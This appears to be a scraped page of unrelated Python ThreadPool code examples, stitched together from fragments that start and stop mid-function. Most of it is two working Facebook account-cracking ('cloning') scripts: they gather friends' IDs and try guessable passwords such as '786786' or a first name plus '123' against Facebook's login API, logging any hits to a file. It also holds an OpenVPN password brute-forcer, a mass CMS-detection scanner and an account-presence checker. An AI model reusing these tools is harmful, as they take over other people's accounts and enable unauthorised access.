	print '\033[1;94mProcess Has Been Completed \033[1;94m....'
        print '\033[1;92mType (python2 Dvl.py) New Fb Start Cloning\033[1;92m....'
	print"\033[1;96mTotal Live/\x1b[1;96mCheckpoint \033[1;96m: \033[1;96m"+str(len(oks))+"\033[1;96m/\033[1;96m"+str(len(cekpoint))
	print """
██████╗░██████╗░░█████╗░███████╗███████╗░██████╗░██████╗░█████╗░██████╗░
██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗
██████╔╝██████╔╝██║░░██║█████╗░░█████╗░░╚█████╗░╚█████╗░██║░░██║██████╔╝
██╔═══╝░██╔══██╗██║░░██║██╔══╝░░██╔══╝░░░╚═══██╗░╚═══██╗██║░░██║██╔══██╗
██║░░░░░██║░░██║╚█████╔╝██║░░░░░███████╗██████╔╝██████╔╝╚█████╔╝██║░░██║
╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚═╝░░░░░╚══════╝╚═════╝░╚═════╝░░╚════╝░╚═╝░░╚═╝
\033[1;92m ERROR ID AFTER 2 WEEKS (14DAYS)
"""
	
	raw_input("\n\033[1;92m[\033[1;92mBack\033[1;92m]")
	crack()
class OpenVpnBruter(object):
    def __init__(self):
        self.parse_options()
        self.build_list()
        self._MT_Process()
        self.cmd_arr
        self.pass_arr

    def parse_options(self):
        parser = argparse.ArgumentParser(
            description="Openvpn Brute forcer built for pentestit lab v11")
        parser.add_argument('--host', type=str, required=True)
        parser.add_argument('--config', type=str, required=True)
        parser.add_argument('--user', type=str, required=True)
        parser.add_argument('--passlist', type=str, required=True)
        self.args = parser.parse_args()

    def _clean_up(self):
        shutil.rmtree(TEMP_DIR_PATH)
        # not a good solution here but one that works
        # due to thread pool defunct objects holding a process
        # and preventing the app closing out using exit(0)
        os.system('kill %d' % os.getpid())

    def build_list(self):
        if not os.path.exists(TEMP_DIR_PATH):
            os.makedirs(TEMP_DIR_PATH)

        self.cmd_arr = []
        self.pass_arr = []

        with open(self.args.passlist) as plist:
            for password in plist:
                try:
                    password = password.strip()
                    tf = tempfile.NamedTemporaryFile(dir=TEMP_DIR_PATH,
                                                     delete=False)
                    tf.write('{0}\n{1}\n'.format(self.args.user, password))
                    tf.flush()
                    tf.close()
                    self.cmd_arr.append(
                        "/usr/sbin/openvpn --remote {0} --config {1} --auth-user-pass {2}"
                        .format(self.args.host, self.args.config, tf.name))
                    self.pass_arr.append(password)
                except:
                    raise

    def _start_brute(self, cmd):

        process = subprocess.Popen(shlex.split(cmd),
                                   shell=False,
                                   stderr=subprocess.PIPE,
                                   stdout=subprocess.PIPE)

        for outline in iter(process.stdout.readline, ''):
            if "Initialization Sequence Completed" in outline:
                pass_index = self.cmd_arr.index(cmd)
                password = self.pass_arr[pass_index]
                print(bcolours.BOLD + bcolours.GREEN + "[+] SUCCESS!" +
                      bcolours.ENDC + bcolours.ENDC + " command = " +
                      bcolours.HEADER + "%s" % (cmd) + bcolours.ENDC)
                print(bcolours.BOLD + "[+] Password:"******" %s" % (password) + bcolours.ENDC + bcolours.ENDC)
                print(bcolours.BOLD +
                      "[+] VPN Process stopped and temp files removed" +
                      bcolours.ENDC)
                self.pool.terminate()
                process.terminate()
                self._clean_up()

    def _MT_Process(self):
        self.pool = ThreadPool(processes=TOTAL_PROCESSES)
        self.pool.map(self._start_brute, self.cmd_arr)
        self.pool.close()
        self.pool.join()

    def main(self):
        self.build_list()
        self._MT_Process()
        print(bcolours.BOLD + bcolours.RED +
              "[-] FAILED TO FIND OPENVPN PASSWORD :-( " + bcolours.ENDC +
              bcolours.ENDC)
        self._clean_up()
Exemple #33
0
def pilih_super():
	peak = raw_input("\n\033[1;97mChoose Option ≻ \033[1;97m")
	if peak =="":
		print "\x1b[1;97mFill in correctly"
		pilih_super()
	elif peak =="1":
		os.system('clear')
		print logo
		print "\033[1;97m Please Wait"
		jalan('\033[1;97m[✔] Getting IDs \033[1;97m...')
		r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
		z = json.loads(r.text)
		for s in z['data']:
			id.append(s['id'])
	elif peak =="2":
		os.system('clear')
		print logo
		idt = raw_input("\033[1;97m≻\033[1;97mLink ID\033[1;37m: \033[1;97m")
		
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print"\033[1;97m[✔] Name\033[1;97m:\033[1;97m "+op["name"]
		except KeyError:
			print"\x1b[1;97mID Not Found!"
			raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]")
			super()
		print"\033[1;97m[✔] Getting IDs..."
		r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
		z = json.loads(r.text)
		for i in z['data']:
			id.append(i['id'])
        
	elif peak =="0":
		menu()
	else:
		print "\x1b[1;97mFill in correctly"
		pilih_super()
	
	print "\033[1;97m[✔] Total Friends \033[1;97m: \033[1;97m"+str(len(id))
	titik = ['.   ','..  ','... ']
	for o in titik:
		print("\r\033[1;97m[✔] Cloning Started\033[1;97m"+o),;sys.stdout.flush();time.sleep(1)
        print"""
[!] To Stop Process Press CTRL Then Z

---------------------------------------------------------"""		
			
	def main(arg):
		global cekpoint,oks
		user = arg
		try:
			os.mkdir('out')
		except OSError:
			pass #Dev:Jam
		try:
			a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
			b = json.loads(a.text)
			pass1 = '786786'
			data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
			q = json.load(data)
			if 'access_token' in q:
				x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
				z = json.loads(x.text)
				print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass1	
				oks.append(user+pass1)
			else:
				if 'www.facebook.com' in q["error_msg"]:
					print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass1	
					cek = open("out/checkpoint.txt", "a")
					cek.write(user+"|"+pass1+"\n")
					cek.close()
					cekpoint.append(user+pass1)
				else:
					pass2 = '000786'
					data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
					q = json.load(data)
					if 'access_token' in q:
						x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
						z = json.loads(x.text)
						print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass2	
						oks.append(user+pass2)
					else:
						if 'www.facebook.com' in q["error_msg"]:
							print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass2	
							cek = open("out/checkpoint.txt", "a")
							cek.write(user+"|"+pass2+"\n")
							cek.close()
							cekpoint.append(user+pass2)
						else:
							pass3 = b['first_name'] + '786'
							data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
							q = json.load(data)
							if 'access_token' in q:
								x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
								z = json.loads(x.text)
								print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass3	
								oks.append(user+pass3)
							else:
								if 'www.facebook.com' in q["error_msg"]:
									print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass3	
									cek = open("out/checkpoint.txt", "a")
									cek.write(user+"|"+pass3+"\n")
									cek.close()
									cekpoint.append(user+pass3)
								else:
									pass4 = b['first_name'] + '123'
									data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
									q = json.load(data)
									if 'access_token' in q:
										x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
										z = json.loads(x.text)
										print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass4	
										oks.append(user+pass4)
									else:
										if 'www.facebook.com' in q["error_msg"]:
											print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass4	
											cek = open("out/Checkpoint.txt", "a")
											cek.write(user+"|"+pass4+"\n")
											cek.close()
											cekpoint.append(user+pass4)
										else:
											pass5 = b['first_name'] + '1234'
											data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
											q = json.load(data)
											if 'access_token' in q:
												x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
												z = json.loads(x.text)
												print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass5	
												oks.append(user+pass5)
											else:
												if 'www.facebook.com' in q["error_msg"]:
													print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass5	
													cek = open("out/checkpoint.txt", "a")
													cek.write(user+"|"+pass5+"\n")
													cek.close()
													cekpoint.append(user+pass5)
												else:
													pass6 = b['first_name'] + 'khan'
													data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
													q = json.load(data)
													if 'access_token' in q:
														x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
														z = json.loads(x.text)
														print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass6	
														oks.append(user+pass6)
													else:
														if 'www.facebook.com' in q["error_msg"]:
															print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass6	
															cek = open("out/checkpoint.txt", "a")
															cek.write(user+"|"+pass6+"\n")
															cek.close()
															cekpoint.append(user+pass6)
														else:
															pass7 = 'Pakistan'
															data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
															q = json.load(data)
															if 'access_token' in q:
																x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
																z = json.loads(x.text)
																print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass7	
																oks.append(user+pass7)
															else:
																if 'www.facebook.com' in q["error_msg"]:
																	print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass7	
																	cek = open("out/checkpoint.txt", "a")
                                                                                                                                        cek.write(user+"|"+pass7+"\n")
																	cek.close()
																	cekpoint.append(user+pass7)
															
		except:
			pass
		
	p = ThreadPool(50)
	p.map(main, id)
	print "\033[1;97m---------------------------------------------------"
	
	print '\033[1;97mProcess Has Been Completed.'
	print"\033[1;97m-----------------"
	print"\033[1;97mTotal OK/\x1b[1;97mCP \033[1;97m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;97m"+str(len(cekpoint))
	print "\033[1;97m---------------------------------------------------"
	
	
	raw_input("\n\033[1;93m[\033[1;96mBack\033[1;93m]")
	menu()
Exemple #34
0
    def execute_system(self, session, config, topic):
        """
        Run the actual system, including the data collection and data analytics.
        Inputs the session data, the configuration data, and a specified topic.
        Also, option to enter an existing job_id that we are rerunning. After it
        will return the run_id that is associated with the results.
        """
        database = Database_Connector(session['Database IP'])

        job_id = database.get_job_from_topic(topic)

        # Insert Job into database if it's a new job
        if (job_id is None):
            job_id = database.create_new_job(topic)

        # Insert Run into database and save it's ID for the analytics code
        run_id = database.create_new_run(job_id)

        # Data collection commands to be executed. Put in data from configuration
        command1 = commands.data_exec_twitter % (
            '"' + topic + '"', config['Twitter API key'],
            config['Twitter API secret key'], config['Twitter Access token'],
            config['Twitter Access token secret'])
        command2 = commands.data_exec_news % ('"' + topic + '"',
                                              config['News API key'])

        # Parameters for thread pool. Each tuple is their own thread.
        parameters = [(session['Twitter Collector IP'], [command1]),
                      (session['News Collector IP'], [command2])]

        # Carry out threading execution and await completion of data collection
        pool = ThreadPool(2)
        pool.map(self.command_run_thread, parameters)
        pool.close()
        pool.join()

        # Transfer data to analytics machines (Need to transfer PEM file aswell from config)
        self.conn.transfer_files(session['Twitter Analyzer IP'],
                                 [config['Path to pem']],
                                 [config['AWS Key Name'] + ".pem"])
        self.conn.transfer_files(session['News Analyzer IP'],
                                 [config['Path to pem']],
                                 [config['AWS Key Name'] + ".pem"])

        # Execute data analytics
        command1 = commands.analtyics_exec % (
            "Twitter", run_id, config['AWS Key Name'] + ".pem",
            session['Database IP'], session['Twitter Collector IP'])
        command2 = commands.analtyics_exec % (
            "News", run_id, config['AWS Key Name'] + ".pem",
            session['Database IP'], session['News Collector IP'])

        parameters = [(session['Twitter Analyzer IP'], [command1]),
                      (session['News Analyzer IP'], [command2])]

        # Carry out threading execution and await completion of data analytics
        pool = ThreadPool(2)
        pool.map(self.command_run_thread, parameters)
        pool.close()
        pool.join()

        # Output will be in the database, just return the run id
        return run_id
    """
    def __init__(self, initial=0):
        """Initialize a new atomic counter to given initial value (default 0)."""
        self.value = initial
        self._lock = threading.Lock()

    def increment(self, num=1):
        """Atomically increment the counter by num (default 1) and return the
        new value.
        """
        with self._lock:
            self.value += num
            return self.value

with open(LOG_FILE) as f:
    lines = filter(lambda l: 'MOVE FILE' in l, f.readlines())
    s3 = boto3.client('s3', 'us-east-1')
    count = len(lines)
    done = AtomicCounter()

    def copy(i):
        src, dst = lines[i].split(']')[-1].split('=>')
        src = src.strip()
        dst = dst.strip()

        s3.copy({'Bucket': SRC_BUCKET, 'Key': src[1:]}, DST_BUCKET, dst[1:], ExtraArgs = {'ACL': 'public-read'})
        print("[%5d / %5d --- %3.2f\%] %s => %s" % (done.increment(), count, 100.0 * done.value / count, src, dst))

    pool = ThreadPool(processes = 30)
    pool.map(copy, range(count))
Exemple #36
0
def pilih_super():
	peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m")
	if peak =="":
		print "\x1b[1;91mFill in correctly"
		pilih_super()
	elif peak =="1":
		os.system('clear')
		print logo
		print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡"
		jalan('\033[1;93mGetting IDs \033[1;97m...')
		r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
		z = json.loads(r.text)
		for s in z['data']:
			id.append(s['id'])
	elif peak =="2":
		os.system('clear')
		print logo
		idt = raw_input("\033[1;96m[♡] \033[1;92mEnter ID\033[1;93m: \033[1;97m")
		print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────╯♡"
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"]
		except KeyError:
			print"\x1b[1;92mID Not Found!"
			raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]")
			super()
		print"\033[1;93mGetting IDs\033[1;93m..."
		r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
		z = json.loads(r.text)
		for i in z['data']:
			id.append(i['id'])
	elif peak =="0":
		menu()
	else:
		print "\x1b[1;91mFill in correctly"
		pilih_super()
	
	print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id))
	jalan('\033[1;92mPlease Wait\033[1;93m...')
	titik = ['.   ','..  ','... ']
	for o in titik:
		print("\r\033[1;91mCloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1)
	print "\n\033[1;94m«-----\x1b[1;93m♡To Stop Process Press CTRL+Z♡\033[1;94m----»"
	print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡"
	jalan(' \033[1;93m ........Cloning Start plzzz Wait.......... ')
	print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡"
	
			
	def main(arg):
		global cekpoint,oks
		user = arg
		try:
			os.mkdir('out')
		except OSError:
			pass #Dev:love_hacker
		try:
			a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
			b = json.loads(a.text)
			pass1 = ('786786')
			data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
			q = json.load(data)
			if 'access_token' in q:
				print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass1
				oks.append(user+pass1)
			else:
				if 'www.facebook.com' in q["error_msg"]:
					print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass1
					cek = open("out/checkpoint.txt", "a")
					cek.write(user+"|"+pass1+"\n")
					cek.close()
					cekpoint.append(user+pass1)
				else:
					pass2 = 'Pakistan'
					data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
					q = json.load(data)
					if 'access_token' in q:
						print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass2
						oks.append(user+pass2)
					else:
						if 'www.facebook.com' in q["error_msg"]:
							print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass2
							cek = open("out/checkpoint.txt", "a")
							cek.write(user+"|"+pass2+"\n")
							cek.close()
							cekpoint.append(user+pass2)
						else:
							pass3 = a['first_name'] + 'rajpoot'
							data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
							q = json.load(data)
							if 'access_token' in q:
								print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass3
								oks.append(user+pass3)
							else:
								if 'www.facebook.com' in q["error_msg"]:
									print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass3
									cek = open("out/checkpoint.txt", "a")
									cek.write(user+"|"+pass3+"\n")
									cek.close()
									cekpoint.append(user+pass3)
								else:
									pass4 = b['first_name'] + 'mughal'
									data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
									q = json.load(data)
									if 'access_token' in q:
										print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass4
										oks.append(user+pass4)
									else:
										if 'www.facebook.com' in q["error_msg"]:
											print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass4
											cek = open("out/checkpoint.txt", "a")
											cek.write(user+"|"+pass4+"\n")
											cek.close()
											cekpoint.append(user+pass4)
										else:
											pass5 = b['first_name'] + 'malik'
											data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
											q = json.load(data)
											if 'access_token' in q:
												print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass5
												oks.append(user+pass5)
											else:
												if 'www.facebook.com' in q["error_msg"]:
													print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass5
													cek = open("out/checkpoint.txt", "a")
													cek.write(user+"|"+pass5+"\n")
													cek.close()
													cekpoint.append(user+pass5)
												else:
													pass6 = b['first_name'] + 'khan'
													data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
													q = json.load(data)
													if 'access_token' in q:
														print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass6
														oks.append(user+pass6)
													else:
														if 'www.facebook.com' in q["error_msg"]:
															print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass6
															cek = open("out/checkpoint.txt", "a")
															cek.write(user+"|"+pass6+"\n")
															cek.close()
															cekpoint.append(user+pass6)
														else:
															a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
															b = json.loads(a.text)
															pass7 = b['first_name'] + 'afridi'
															data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
															q = json.load(data)
															if 'access_token' in q:
																print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass7
																oks.append(user+pass7)
															else:
																if 'www.facebook.com' in q["error_msg"]:
																	print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass7
																	cek = open("out/checkpoint.txt", "a")
																	cek.write(user+"|"+pass7+"\n")
																	cek.close()
																	cekpoint.append(user+pass7)
																	
															
		except:
			pass
		
	p = ThreadPool(30)
	p.map(main, id)
	print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡"
	print "  \033[1;93m«---•◈•---Developed By love---•◈•---»" #Dev:love_hacker
	print '\033[1;91mProcess Has Been Completed\033[1;92m....'
	print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;95m"+str(len(cekpoint))
	print """
             
             ...........███ ]▄▄▄▄▄▃
             ..▂▄▅█████▅▄▃▂
             [███████████████]
             ◥⊙▲⊙▲⊙▲⊙▲⊙▲⊙◤
♡──────────────•◈•──────────────♡.
: \033[1;96m .....lovehacker  BlackMafia........... \033[1;93m :
♡──────────────•◈•──────────────♡.' 
                whatsapp Num
               +923232132362"""
	
	raw_input("\n\033[1;92m[\033[1;94mBack\033[1;96m]")
	menu()
            print green + "[+] OPencarte http://" + url + white + '\n'
            open("Cms/Opencarte.txt", "a").write('http://' + url + '\n')
        elif "Joomla" in op2.text:
            print green + "[+] Joomla http://" + url + white + '\n'
            open("Cms/Joomla.txt", "a").write('http://' + url + '\n')
        elif "WordPress" in op3.text:
            print green + "[+] Wordpress http://" + url + white + '\n'
            open("Cms/wordpress.txt", "a").write('http://' + url + '\n')
        elif "sites/default" in op4.text:
            print green + "[+] Drupal http://" + url + white + '\n'
            open("Cms/drupal.txt", "a").write('http://' + url + '\n')
        elif "PrestaShop" in op5.text:
            print green + "[+] Prestashop http://" + url + white + '\n'
            open("Cms/drupal.txt", "a").write('http://' + url + '\n')

        else:
            print '[-] Cms Not Found --> http://' + red + url + '\n'

    except:
        pass


ListPass = open(raw_input("Sites List .txt:"), 'r').readlines()
pool = ThreadPool(100)
pool.map(cms, ListPass)
pool.close()
pool.join()

if __name__ == '__main__':
    print("Finished, success , Thank you for using Mr Spy Tool --> Result/Grabbed.txt")
Exemple #38
0
def FindPresence(user_taken):
    start_time = time.time()

    wiki_link = 'https://en.wikipedia.org/wiki/List_of_HTTP_status_codes'
    uname = user_taken
    width = 20  # to pretty print
    global counter
    counter = 0  # to count no of success
    page = requests.get(wiki_link)
    soup = BeautifulSoup(page.content, 'html.parser')
    user_agent = ('Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) '
                  'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130'
                  ' Mobile Safari/537.36')
    headers = {'user-agent': user_agent}

    def get_website_membership(site):
        def print_fail():
            print(site.rjust(width), ':',
                  colored(state.ljust(width // 2), 'red'), '(Status:', msg,
                  ')')

        def print_success():

            print(site.rjust(width), ':',
                  colored(state.ljust(width // 2), 'green'), '(Status:', msg,
                  ')')

        url = websites[site]
        global counter
        state = "FAIL"
        msg = '--exception--'

        if not url[:1] == 'h':
            link = 'https://' + uname + url
        else:
            link = url + uname

        try:
            if site == 'Youtube' or 'Twitter':
                response = requests.get(link)
            else:
                response = requests.get(link, headers=headers)
            tag = soup.find(id=response.status_code)
            msg = tag.find_parent('dt').text
            response.raise_for_status()

        except Exception:
            print_fail()

        else:
            res_soup = BeautifulSoup(response.content, 'html.parser')
            if site == 'Pastebin':
                if len(res_soup.find_all('h1')) == 0:
                    msg = 'broken URL'
                    print_fail()

                else:
                    state = 'SUCCESS'
                    counter += 1
                    print_success()
                    print(
                        colored("\t\tLink to profile {}".format(link),
                                'red',
                                'on_cyan',
                                attrs=['bold', 'dark', 'underline']))
            if site == 'LinkedIn':
                if len(res_soup.find_all('h1')) == 0:
                    msg = 'broken URL'
                    print_fail()

                else:
                    state = 'SUCCESS'
                    counter += 1
                    print_success()
                    print(
                        colored("\t\tLink to profile {}".format(link),
                                'red',
                                'on_cyan',
                                attrs=['bold', 'dark', 'underline']))
            elif site == 'Wordpress':
                if 'doesn’t exist' or 'blocked' in res_soup:
                    msg = 'broken URL'
                    print_fail()
                else:
                    state = 'SUCCESS'
                    counter += 1
                    print_success()
                    print(
                        colored("\t\tLink to profile {}".format(link),
                                'red',
                                'on_cyan',
                                attrs=['bold', 'dark', 'underline']))

            # elif site == 'Imgur':
            #     ToDo

            elif site == 'GitLab':
                if 'Sign in' in res_soup.title.text:
                    msg = 'broken URL'
                    print_fail()
                else:
                    state = 'SUCCESS'
                    counter += 1
                    print_success()
                    print(
                        colored("\t\tLink to profile {}".format(link),
                                'red',
                                'on_cyan',
                                attrs=['bold', 'dark', 'underline']))
            elif site == 'HackerNews':
                if 'No such user.' in res_soup:
                    msg = 'No Such User!'
                    print_fail()
                else:
                    state = 'SUCCESS'
                    counter += 1
                    print_success()
                    print(
                        colored("\t\tLink to profile {}".format(link),
                                'red',
                                'on_cyan',
                                attrs=['bold', 'dark', 'underline']))
            elif site == 'ProductHunt':
                if 'Page Not Found' in res_soup.text:
                    msg = 'No Such User!'
                    print_fail()
                else:
                    state = 'SUCCESS'
                    counter += 1
                    print_success()
                    print(
                        colored("\t\tLink to profile {}".format(link),
                                'red',
                                'on_cyan',
                                attrs=['bold', 'dark', 'underline']))
            else:
                state = 'SUCCESS'
                counter += 1
                print_success()
                print(
                    colored("\t\tLink to profile {}".format(link),
                            'red',
                            'on_cyan',
                            attrs=['bold', 'dark', 'underline']))

